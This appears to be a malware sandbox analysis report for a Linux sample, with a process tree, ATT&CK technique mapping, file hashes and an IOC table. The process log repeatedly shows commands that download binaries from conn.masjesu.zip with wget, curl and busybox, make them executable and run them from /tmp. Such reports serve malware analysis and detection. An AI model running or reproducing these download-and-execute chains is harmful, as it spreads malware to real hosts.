- /tmp/Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  ./Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  2⤵
  - Executes dropped EXE
  PID:972
- /bin/rm
  rm Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  2⤵
  PID:973
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  2⤵
  PID:974
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:975
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  2⤵
  - System Network Configuration Discovery
  PID:977
- /bin/chmod
  chmod 777 Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  2⤵
  - File and Directory Permissions Modification
  PID:978
- /tmp/Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  ./Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  2⤵
  - Executes dropped EXE
  PID:979
- /bin/rm
  rm Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  2⤵
  PID:980
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  2⤵
  PID:981
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:982
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  2⤵
  PID:984
- /bin/chmod
  chmod 777 id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  2⤵
  - File and Directory Permissions Modification
  PID:985
- /tmp/id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  ./id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  2⤵
  - Executes dropped EXE
  PID:986
- /bin/rm
  rm id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  2⤵
  PID:987
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  2⤵
  - System Network Configuration Discovery
  PID:988
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:989
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  2⤵
  - System Network Configuration Discovery
  PID:991
- /bin/chmod
  chmod 777 hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  2⤵
  - File and Directory Permissions Modification
  PID:992
- /tmp/hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  ./hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  2⤵
  - Executes dropped EXE
  PID:993
- /bin/rm
  rm hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  2⤵
  PID:994
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  2⤵
  - System Network Configuration Discovery
  PID:995
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:996
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  2⤵
  - System Network Configuration Discovery
  PID:998
- /bin/chmod
  chmod 777 zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  2⤵
  - File and Directory Permissions Modification
  PID:999
- /tmp/zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  ./zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  2⤵
  - Executes dropped EXE
  PID:1000
- /bin/rm
  rm zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  2⤵
  PID:1001
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  2⤵
  - System Network Configuration Discovery
  PID:1002
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1003
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  2⤵
  - System Network Configuration Discovery
  PID:1005
- /bin/chmod
  chmod 777 NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  2⤵
  - File and Directory Permissions Modification
  PID:1006
- /tmp/NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  ./NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  2⤵
  - Executes dropped EXE
  PID:1007
- /bin/rm
  rm NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  2⤵
  PID:1008
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  2⤵
  - System Network Configuration Discovery
  PID:1009
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1010
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  2⤵
  PID:1012
- /bin/chmod
  chmod 777 BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  2⤵
  - File and Directory Permissions Modification
  PID:1013
- /tmp/BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  ./BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  2⤵
  - Executes dropped EXE
  PID:1014
- /bin/rm
  rm BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  2⤵
  PID:1015

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk

Path /tmp/y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk	747	y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
/tmp/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl	758	m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
/tmp/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi	806	3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
/tmp/aUnoPE2QhNzOceFAoAx5oKByergXKxOWky	813	aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
/tmp/9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS	835	9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
/tmp/hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb	857	hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
/tmp/HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1	864	HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
/tmp/vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9	871	vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
/tmp/Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i	881	Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
/tmp/Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA	888	Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
/tmp/id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0	895	id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
/tmp/BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29	902	BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
/tmp/zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA	909	zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
/tmp/NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ	916	NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
/tmp/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl	923	m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
/tmp/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi	930	3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
/tmp/aUnoPE2QhNzOceFAoAx5oKByergXKxOWky	937	aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
/tmp/9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS	944	9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
/tmp/y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk	951	y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
/tmp/HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1	958	HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
/tmp/vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9	965	vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
/tmp/Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i	972	Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
/tmp/Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA	979	Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
/tmp/id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0	986	id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
/tmp/hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb	993	hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
/tmp/zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA	1000	zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
/tmp/NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ	1007	NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
/tmp/BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29	1014	BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29